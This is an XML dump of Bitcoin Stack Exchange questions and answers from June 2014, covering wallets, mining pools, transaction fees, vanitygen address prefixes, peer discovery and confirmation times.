  <row Id="28196" PostTypeId="2" ParentId="28162" CreationDate="2014-06-28T17:18:03.917" Score="1" Body="&lt;p&gt;I used WarpWallet. I booted my computer into Linux, copied WarpWallet off my flash drive, ran it, put in my passcode (39 random hex digits that I've memorized), and I had my address. (I triple checked that the same passphrase always gave me the same private key, and all this time the computer was, of course, disconnected from the internet) I wrote down the public key on a piece of paper, then transferred all my old cold-storage bitcoin to it. &lt;a href=&quot;https://blockchain.info/tx/13fd0f4ef557317871965f12d02e17069dc782d3dce9f2f44c4b751c3c856595&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/13fd0f4ef557317871965f12d02e17069dc782d3dce9f2f44c4b751c3c856595&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2014-06-28T17:18:03.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28197" PostTypeId="1" AcceptedAnswerId="28198" CreationDate="2014-06-28T19:31:30.007" Score="3" ViewCount="74" Body="&lt;p&gt;The reward of the Coinbase TX  is only 50 BTC not including transaction fees. So who owned  these fees? &lt;/p&gt;&#xA;" OwnerUserId="18402" LastEditorUserId="17113" LastEditDate="2014-06-29T10:30:36.160" LastActivityDate="2014-07-29T10:56:52.043" Title="Where do transaction fees go in block #163368" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28198" PostTypeId="2" ParentId="28197" CreationDate="2014-06-28T19:45:29.547" Score="2" Body="&lt;p&gt;As you mentioned &lt;a href=&quot;https://blockchain.info/block/0000000000000048567353a28610ba10375850ca291014e2fda18ef216dc2033&quot; rel=&quot;nofollow&quot;&gt;this Block&lt;/a&gt; and also some other ones in the blockchain as well failed to claim the fees. Some miners missed all fees other only  a few, this can happen for a variety of reasons, almost all of them are bugs in the mining software.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So who owned these fees?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These coins are lost, the miner failed to claim them and so they are gone.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-28T19:45:29.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28199" PostTypeId="2" ParentId="28192" CreationDate="2014-06-28T20:03:38.453" Score="3" Body="&lt;p&gt;You are submitting a float value. Float values are not totaly accurate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; 0.9 &#xA;0.90000000000000002&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats why the &lt;a href=&quot;https://www.bitfinex.com/pages/api&quot; rel=&quot;nofollow&quot;&gt;specification&lt;/a&gt; requires a &lt;a href=&quot;https://docs.python.org/2/library/decimal.html&quot; rel=&quot;nofollow&quot;&gt;Decimal datatype&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from decimal import Decimal&#xA;&amp;gt;&amp;gt;&amp;gt; Decimal(&quot;0.001&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-28T20:03:38.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28200" PostTypeId="1" AcceptedAnswerId="28215" CreationDate="2014-06-28T23:51:54.177" Score="0" ViewCount="67" Body="&lt;p&gt;If bitcoin is ever going to be mainstream, how can we get around the problem of confirmation time? I don't think I like the idea of having to wait an hour for my transaction to be confirmed so I can leave the gas station after filling up. Even with the usual recommendation of waiting for only one confirmation, that's still 10 minutes. Anything over 10 or 20 seconds becomes a problem if all customers are using bitcoin, because it delays &lt;em&gt;every&lt;/em&gt; transaction that long.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-06-30T04:01:58.973" Title="How can bitcoin be used for all transactions, even with only one confirmation?" Tags="|confirmations|" AnswerCount="1" CommentCount="2" ClosedDate="2014-08-22T19:55:20.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="28201" PostTypeId="1" AcceptedAnswerId="28203" CreationDate="2014-06-29T00:11:04.830" Score="1" ViewCount="205" Body="&lt;p&gt;Similar to this question, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21395/how-can-a-website-detect-when-bitcoins-have-been-deposited&quot;&gt;How can a website detect when bitcoins have been deposited?&lt;/a&gt;, is there a way to accept altcoin deposits on a website and have the website automatically know when the altcoins have been sent to the website and update the user's balance accordingly?  Is there a procedure common to all altcoins or does each altcoin need a completely different approach?&lt;/p&gt;&#xA;" OwnerUserId="12594" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-06-29T03:34:30.500" Title="How to accept and detect altcoin payments?" Tags="|altcoin|websites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28202" PostTypeId="1" CreationDate="2014-06-29T00:29:07.213" Score="0" ViewCount="598" Body="&lt;p&gt;i put txindex=1 in bitcoin config and reindex blockchain after that when i call getrawtransaction for some transactions didn't exist in my wallet and work well like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Working]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getrawtransaction d2632db404d0cdff861278f369b8dfc09a8e84e9af76558dcc6457909544cf1e 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but with this transtions didn't work why ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Not Working]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getrawtransaction 37e3abcbfc9b2b984fb34e2605d512614a4a2a507fe50fb4b639c08d29137f34 1&#xA;&#xA;getrawtransaction 7bdaefdd1819440fdd988538ad59ef0d9a5a899b4db7446bfea5dee3d88dfb1b 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13349" LastActivityDate="2014-11-26T06:44:01.357" Title="getrawtransaction doesn't work for every transaction with -txindex=1?" Tags="|blockchain|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28203" PostTypeId="2" ParentId="28201" CreationDate="2014-06-29T03:34:30.500" Score="2" Body="&lt;p&gt;Most (99%) altcoins are just Bitcoin clones, so the same process applies, you just need to use the appropriate daemon (dogecoind, litecoind, etc). If you need extra help, we'd need to know which altcoin. In addition depending on how popular the altcoin is there may be the equivalent of Blockchain.info (has merchant services for Bitcoin), eg. &lt;a href=&quot;http://dogeapi.com/&quot; rel=&quot;nofollow&quot;&gt;DogeAPI&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6990" LastActivityDate="2014-06-29T03:34:30.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28204" PostTypeId="2" ParentId="28202" CreationDate="2014-06-29T03:39:24.900" Score="1" Body="&lt;p&gt;It would appear that when you asked the question the transaction had not been confirmed. They have since been confirmed and they will show up now.&lt;/p&gt;&#xA;" OwnerUserId="6990" LastActivityDate="2014-06-29T03:39:24.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28205" PostTypeId="1" CreationDate="2014-06-29T13:25:23.170" Score="1" ViewCount="1968" Body="&lt;p&gt;I have been able to set up basic mining using minerd, and it is happily mining away on GHash.IO. However, it doesn't seem to be attached to my CEX.IO account, even though I am mining with these arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd --url stratum+tcp://uk1.ghash.io:3333 --threads 2 --userpass [myusername].worker1:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The above was mining with my account after all. A refresh rate of 1/day lead me to believe otherwise. Sorry to waste everyone's time!&lt;/p&gt;&#xA;" OwnerUserId="18411" LastEditorUserId="5406" LastEditDate="2016-03-05T15:00:35.233" LastActivityDate="2016-03-05T15:00:35.233" Title="Attach worker to CEX.IO account" Tags="|mining-pools|miner-configuration|cex.io|ghash.io|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28206" PostTypeId="1" AcceptedAnswerId="28207" CreationDate="2014-06-29T13:42:47.267" Score="0" ViewCount="260" Body="&lt;p&gt;I read the bitcoin references but I can't find a description regarding how bitcoin clients find other host in the p2p network.&#xA;Would you please tell me?&lt;/p&gt;&#xA;" OwnerUserId="18413" LastEditorUserId="17113" LastEditDate="2014-07-02T12:07:06.590" LastActivityDate="2014-07-02T12:07:06.590" Title="How does bitcoind find p2p hosts?" Tags="|client|development|protocol|p2pool|specification|" AnswerCount="1" CommentCount="0" ClosedDate="2014-07-06T15:25:05.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="28207" PostTypeId="2" ParentId="28206" CreationDate="2014-06-29T13:51:40.880" Score="3" Body="&lt;p&gt;There are several methods for a bitcoin client to find other nodes.&lt;/p&gt;&#xA;&lt;p&gt;First of all they save a list of nodes from previous connections. &lt;br&gt;&#xA;Of course this only works when they don't connect the first time.&lt;/p&gt;&#xA;&lt;p&gt;If a client has no IPs stored it falls back to &lt;a href=&quot;https://en.bitcoin.it/wiki/Network#DNS&quot; rel=&quot;nofollow noreferrer&quot;&gt;DNS-Seeds&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Bitcoin looks up the IP Addresses of several host names and adds those to the list of potential addresses. This is the default seeding mechanism, as of v0.6.x and later.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Once a client is connected to the network, it will ask for a list via the &lt;a href=&quot;https://en.bitcoin.it/wiki/Network#Addr&quot; rel=&quot;nofollow noreferrer&quot;&gt;Addr-Message&lt;/a&gt; containing a list of IPs of known clients.&lt;/p&gt;&#xA;&lt;p&gt;As you can see in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Network#IRC&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin-Wiki&lt;/a&gt; there was another method, which is no longer used:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;IRC&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin joins a random channel between #bitcoin00 and #bitcoin99 on irc.lfnet.org. Your nick is set to an encoded form of your IP address. By decoding all the nicks of all users on the channel, you get a list of all IP addresses currently connected to Bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-06-29T13:59:58.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28209" PostTypeId="1" CreationDate="2014-06-29T16:33:55.887" Score="1" ViewCount="114" Body="&lt;p&gt;I was wondering how I can import a wallet from an armory backup (A view only wallet) into bitcoind running on a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Marty&lt;/p&gt;&#xA;" OwnerUserId="18417" LastActivityDate="2014-06-29T16:33:55.887" Title="Import Armory Wallet to BitcoinD" Tags="|wallet|armory|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28211" PostTypeId="2" ParentId="28071" CreationDate="2014-06-29T22:28:36.360" Score="1" Body="&lt;p&gt;As of today June 29, 2014. NXT Blockchain takes up 512MB. and the value is at 5-7 cents per nxt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LtMMH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-06-29T22:28:36.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28212" PostTypeId="1" CreationDate="2014-06-30T02:17:15.320" Score="2" ViewCount="1387" Body="&lt;p&gt;Where do i start for creating a bitcoin altcoin? Like for changing block times, names, coin max, etc? I know what i want to change but I don't know where to change the code for the basic things mentioned above. &lt;/p&gt;&#xA;" OwnerUserId="18421" LastEditorUserId="516" LastEditDate="2018-03-08T03:00:33.417" LastActivityDate="2018-03-08T03:00:33.417" Title="Where do i start for creating altcoin?" Tags="|altcoin|altcoin-development|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28213" PostTypeId="2" ParentId="28182" CreationDate="2014-06-30T02:52:20.163" Score="1" Body="&lt;p&gt;&lt;strong&gt;Please just don't do this.&lt;/strong&gt; If you have an agreement with someone and you want to pay them Bitcoins, just have them tell you what account to pay. Don't try kludges to figure out the correct address to pay because many payments do not contain any account the sender can receive Bitcoins from anywhere in the payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what happens when you do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jack uses Foo Online Wallet. He sends some Bitcoins to his deposit address. Foo Online Wallet credits his online wallet account for these Bitcoins. Jeff sends you money using his Foo Online Wallet. Foo uses the coins Jack deposited. So the source address for the transaction is Jack's deposit address. When you make a payment to the source address, you are sending the coins to Jack's deposit address -- giving the Bitcoins to the owner of the deposit coincidentally used by Foo Online Wallet. But you should be making the payment to Jeff's deposit address which you cannot know unless you ask Jeff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just&lt;/strong&gt; &lt;strong&gt;Don't&lt;/strong&gt; &lt;strong&gt;Do&lt;/strong&gt; &lt;strong&gt;This&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-06-30T02:52:20.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28215" PostTypeId="2" ParentId="28200" CreationDate="2014-06-30T04:01:58.973" Score="1" Body="&lt;p&gt;When you pay with bitcoin using a service that uses Coinbase as a payment processor (such as Humble Bundle), it usually accepts in a short amount of time. The reason they can do this is because they check that your transaction has propagated through the whole network and that there are no competing (double spend) transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that has happened, the only way to do a double spend is to mine your own block (because everyone else has accepted your first transaction). Mining a block is very expensive so there is very low risk. Certainly less than the risk of credit card chargebacks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you are selling something very expensive, then waiting for some confirmations would be good. Also in this case the buyer would likely be in less of a hurry.&lt;/p&gt;&#xA;" OwnerUserId="12990" LastActivityDate="2014-06-30T04:01:58.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28216" PostTypeId="2" ParentId="5843" CreationDate="2014-06-30T08:48:57.677" Score="0" Body="&lt;p&gt;Here is one that works with the getwork protocol. too bad it does not support stratum yet&#xA;&lt;a href=&quot;https://github.com/lithander/Minimal-Bitcoin-Miner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/lithander/Minimal-Bitcoin-Miner&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10173" LastActivityDate="2014-06-30T08:48:57.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28218" PostTypeId="2" ParentId="24180" CreationDate="2014-06-30T10:30:37.707" Score="5" Body="&lt;p&gt;Unfortunately Mining is a zero-sum game for the average individual at this point. If you sit and honestly think about it, who would sell a machine which literally generates profitable revenue after expenses? If you are planning to invest in the Bitcoin domain than I would highly recommend just obtaining Bitcoin and storing it in an offline wallet. This has proven to be the &lt;strong&gt;most profitable&lt;/strong&gt; strategy thus far. Take for instance all the disgruntled miners who were delayed for over a year on receiving their hardware. Once they finally received their hardware it was obsolete and wouldn't even generate a profit versus electricity if being ran. Every single one of those miners wish they would've just saved their money and purchased or held Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still curious or just interested in mining, then I suggest checking out &lt;a href=&quot;http://cex.io&quot;&gt;CEX&lt;/a&gt;. They seem to be a longstanding and reputable company as far as the Bitcoin world goes. There has been an increase in scams lately which portray &quot;profitable&quot; virtual mining contracts, so please be aware of any &quot;too good to be true&quot; deals.&lt;/p&gt;&#xA;" OwnerUserId="18424" LastActivityDate="2014-06-30T10:30:37.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28219" PostTypeId="1" AcceptedAnswerId="28221" CreationDate="2014-06-30T11:33:48.260" Score="2" ViewCount="3055" Body="&lt;p&gt;I know how to use vanitygen but how do you determine the number that will correspond to the -X parameter for a different cryptocurrency? For example it is -X 30 for Dogecoin.&lt;/p&gt;&#xA;" OwnerUserId="18425" LastActivityDate="2020-07-22T05:12:52.610" Title="Using vanitygen To generate addresses for different cryptocurrencies" Tags="|vanitygen|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28220" PostTypeId="1" AcceptedAnswerId="28222" CreationDate="2014-06-30T11:37:50.733" Score="6" ViewCount="841" Body="&lt;p&gt;From what I understand miners submit their hashes to the pool. What prevents a miner to disengage the pool as soon as she finds the right hash?&lt;/p&gt;&#xA;" OwnerUserId="15419" LastEditorUserId="-1" LastEditDate="2014-06-30T17:40:02.127" LastActivityDate="2023-09-23T13:42:19.540" Title="What prevents miners in a pool from retaining the reward?" Tags="|mining-pools|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28221" PostTypeId="2" ParentId="28219" CreationDate="2014-06-30T11:37:55.530" Score="0" Body="&lt;p&gt;I found some &lt;a href=&quot;http://cryptocurrencies.comule.com/tag/vanitygen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;LTC: 48&lt;/li&gt;&#xA;&lt;li&gt;FTC: 14&lt;/li&gt;&#xA;&lt;li&gt;NVC: 8&lt;/li&gt;&#xA;&lt;li&gt;ANC: 23&lt;/li&gt;&#xA;&lt;li&gt;PTC: 47&lt;/li&gt;&#xA;&lt;li&gt;CNC: 28&lt;/li&gt;&#xA;&lt;li&gt;DGC:30&lt;/li&gt;&#xA;&lt;li&gt;NMC: 52&lt;/li&gt;&#xA;&lt;li&gt;PPC:55&lt;/li&gt;&#xA;&lt;li&gt;YAC: 77&lt;/li&gt;&#xA;&lt;li&gt;BQC: 85&lt;/li&gt;&#xA;&lt;li&gt;IXC: 138&lt;/li&gt;&#xA;&lt;li&gt;DOGE: 30&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Proper syntax for VanityGen is: (from &lt;a href=&quot;https://bitcoin.stackexchange.com/posts/701/edit&quot;&gt;this&lt;/a&gt; question)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Usage: vanitygen [-vqrikNT] [-t &amp;lt;threads&amp;gt;] [-f &amp;lt;filename&amp;gt;|-] [&amp;lt;pattern&amp;gt;...]&#xA;Generates a bitcoin receiving address matching &amp;lt;pattern&amp;gt;, and outputs the&#xA;address and associated private key.  The private key may be stored in a safe&#xA;location or imported into a bitcoin client to spend any balance received on&#xA;the address.&#xA;By default, &amp;lt;pattern&amp;gt; is interpreted as an exact prefix.&#xA;&#xA;Options:&#xA;-v            Verbose output&#xA;-q            Quiet output&#xA;-r            Use regular expression match instead of prefix&#xA;              (Feasibility of expression is not checked)&#xA;-i            Case-insensitive prefix search&#xA;-k            Keep pattern and continue search after finding a match&#xA;-N            Generate namecoin address&#xA;-T            Generate bitcoin testnet address&#xA;-X &amp;lt;version&amp;gt;  Generate address with the given version&#xA;-t &amp;lt;threads&amp;gt;  Set number of worker threads (Default: number of CPUs)&#xA;-f &amp;lt;file&amp;gt;     File containing list of patterns, one per line&#xA;              (Use &quot;-&quot; as the file name for stdin)&#xA;-o &amp;lt;file&amp;gt;     Write pattern matches to &amp;lt;file&amp;gt;&#xA;-s &amp;lt;file&amp;gt;     Seed random number generator from &amp;lt;file&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-06-30T12:29:14.920" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="28222" PostTypeId="2" ParentId="28220" CreationDate="2014-06-30T11:51:47.320" Score="6" Body="&lt;p&gt;The payout address for the miners mined blocks is the pool's moderator address. If the miners are working on blocks with a different payout address (ex. their own), the pool moderator can tell and act accordingly by either banning them or simply ignoring their work.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-06-30T11:51:47.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28223" PostTypeId="1" AcceptedAnswerId="28234" CreationDate="2014-06-30T14:10:00.323" Score="4" ViewCount="10815" Body="&lt;p&gt;Does anyone know how to use multiple GPU's with &lt;code&gt;oclvanitygen&lt;/code&gt;? I have these two:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Available OpenCL platforms:&#xA;0: [Intel(R) Corporation] Intel(R) OpenCL&#xA;  0: [Intel(R) Corporation]       Intel(R)&#xA;  1: [Intel(R) Corporation] Intel(R) HD Gra&#xA;1: [NVIDIA Corporation] NVIDIA CUDA&#xA;  0: [NVIDIA Corporation] GeForce GT 630M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What would be the command for using both of them if I want an address that starts with &lt;code&gt;1MYbtc&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="18425" LastEditorDisplayName="user58561" LastEditDate="2018-01-30T09:04:53.957" LastActivityDate="2018-01-30T09:04:53.957" Title="Use multiple GPU's with oclvanitygen" Tags="|vanitygen|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28224" PostTypeId="2" ParentId="28223" CreationDate="2014-06-30T14:17:40.020" Score="0" Body="&lt;p&gt;Hmm, I was interested after your previous question, and tried to install it myself. Unfortunately I keep getting the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  vanitygen: pattern.c:164: vg_exec_context_init: Assertion `vxcp-&amp;gt;vxc_key' failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;error, and I have no sudo-rights to fix it right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to fix your problem, it runs on CPU, not GPU. And it already uses all  CPU's, according to the README. If you have a quad-core CPU there will be 4 workers who have ~100% CPU each. If you want to limit the amount of CPU's used, use the &lt;code&gt;-t &amp;lt;threads&amp;gt;&lt;/code&gt;-option.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-06-30T14:17:40.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28225" PostTypeId="1" AcceptedAnswerId="28260" CreationDate="2014-06-30T15:22:08.590" Score="8" ViewCount="7618" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/developer-guide#block-chain-overview&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin developer guide&lt;/a&gt; states that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;each output of a particular transaction can only be used as an input once in the block chain. Any subsequent reference is a forbidden double spend—an attempt to spend the same satoshis twice.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So how does a Bitcoin network node actually mark a transaction's output as spent? I imagine it would need to be irreversible, so that other nodes cannot revert the &quot;spent&quot; marker, but I cannot think of a way that Bitcoin could ensure that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where in the standard Bitcoin code does this marking occur, and how does it occur?&lt;/p&gt;&#xA;" OwnerUserId="18428" LastActivityDate="2018-03-01T13:03:44.840" Title="How is a Transaction Output Marked as Spent?" Tags="|transactions|doublespend|utxo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28226" PostTypeId="2" ParentId="28225" CreationDate="2014-06-30T15:25:30.190" Score="4" Body="&lt;p&gt;The next input for this particular output is a &quot;marker&quot; that this output is already spent&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-06-30T15:25:30.190" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28227" PostTypeId="1" CreationDate="2014-06-30T16:33:41.603" Score="2" ViewCount="560" Body="&lt;p&gt;The mining hardware does a double sha-256 hash of the header while mining.  Is each sha-256 operation counted when determining the hash rate or is the whole sha256(sha256(header)) counted as one hash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to throw out some example numbers, if the hardware can do 300 Mhash/s is the hash rate 300 Mhash/s or is it 150 Mhash/s because two sha-256 operations are required for each attempt?&lt;/p&gt;&#xA;" OwnerUserId="18345" LastEditorUserId="5406" LastEditDate="2016-03-05T14:59:50.463" LastActivityDate="2016-03-05T14:59:50.463" Title="How is hash rate of mining hardware calculated" Tags="|hash|hashpower|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28228" PostTypeId="1" CreationDate="2014-06-30T17:14:27.030" Score="18" ViewCount="34736" Body="&lt;p&gt;I have very limited knowledge of bitcoin, but, I hope you don't mind my asking this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, &quot;mining bitcoin&quot; requires &quot;significant&quot; computational prowess. A lot of dedicated mining rigs have been built out of FPGAs, ASICs and GPUs. But, I have always wondered: would it not be possible to mine ALL the bitcoins if you had access to some of the most powerful computers? So, for argument sake, if the NSA decided to stop snooping upon people and instead decided to, you know, mine bitcoins… would they be able to mine all the bitcoins in just a few hours if they redirected all their super-computational-power towards this one problem: mining bitcoins? Other potential candidates for this game include, but are not limited to: NASA, DoE, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that running a supercomputer to mine bitcoins may NOT be efficient (because a super computer consumes too much power, costs a lot of money, etc) but for a govt agency all that money comes from taxes so ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, hypothetically, could &quot;they&quot; mine all the bitcoins in a few hours, or even in a few minutes if they redirected all their super-computational-power towards this one problem: mining bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="18432" LastEditorUserId="5406" LastEditDate="2016-02-17T20:52:45.043" LastActivityDate="2021-02-27T01:42:51.300" Title="Why can't they use super computers to mine all the bitcoins?" Tags="|difficulty|hashpower|mining-theory|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28229" PostTypeId="2" ParentId="28228" CreationDate="2014-06-30T17:26:17.223" Score="13" Body="&lt;p&gt;A supercomputer is way slower than mining with ASICs. A supercomputer only has much CPU power, not even GPU power and ASICs are way more powerfull than GPUs. ASICs represent the hashing algorithm as hardware which means they can't do anything else, that's why they are so fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At &lt;a href=&quot;http://bitcoinwatch.com/&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; you can see the current network hashrate in PetaFLOPS, which is 1534782.24 at the moment. Currently the fastes Supercomputer &lt;a href=&quot;https://en.wikipedia.org/wiki/Tianhe-2&quot;&gt;Tianhe-2&lt;/a&gt; has 33.86 petaFLOPS.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;but for a govt agency all that money comes from taxes so ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If they would use all the money to buy ASICs and start mining bitcoins, it still would not be enough because of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot;&gt;difficulty&lt;/a&gt; factor. But they would be able to get a lot of blocks because the difficulty only changes every 2016 blocks.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-30T20:58:10.250" LastActivityDate="2014-06-30T20:58:10.250" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28230" PostTypeId="1" AcceptedAnswerId="28238" CreationDate="2014-06-30T18:43:23.807" Score="5" ViewCount="877" Body="&lt;p&gt;How does one get to be a mining pool operator? Is there an election by people who want to pool their computing resources? What checks and balances exist to ensure that a pool operator doesn't misappropriate funds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question was inspired by my comment, and a response on this question? &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28220/what-prevents-miners-in-a-pool-from-retaining-the-reward/28222?noredirect=1#comment33824_28222&quot;&gt;What prevents miners in a pool from retaining the reward?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-01-30T04:34:08.830" Title="How do mining pool operators work?" Tags="|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28231" PostTypeId="2" ParentId="28228" CreationDate="2014-06-30T18:51:18.617" Score="0" Body="&lt;p&gt;No, there is a &lt;a href=&quot;https://blockchain.info/charts/difficulty&quot; rel=&quot;nofollow&quot;&gt;difficulty&lt;/a&gt; argument built into the Bitcoin protocol itself, so the NSA would not be able to mine &quot;all&quot; the Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="18435" LastActivityDate="2014-06-30T18:51:18.617" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
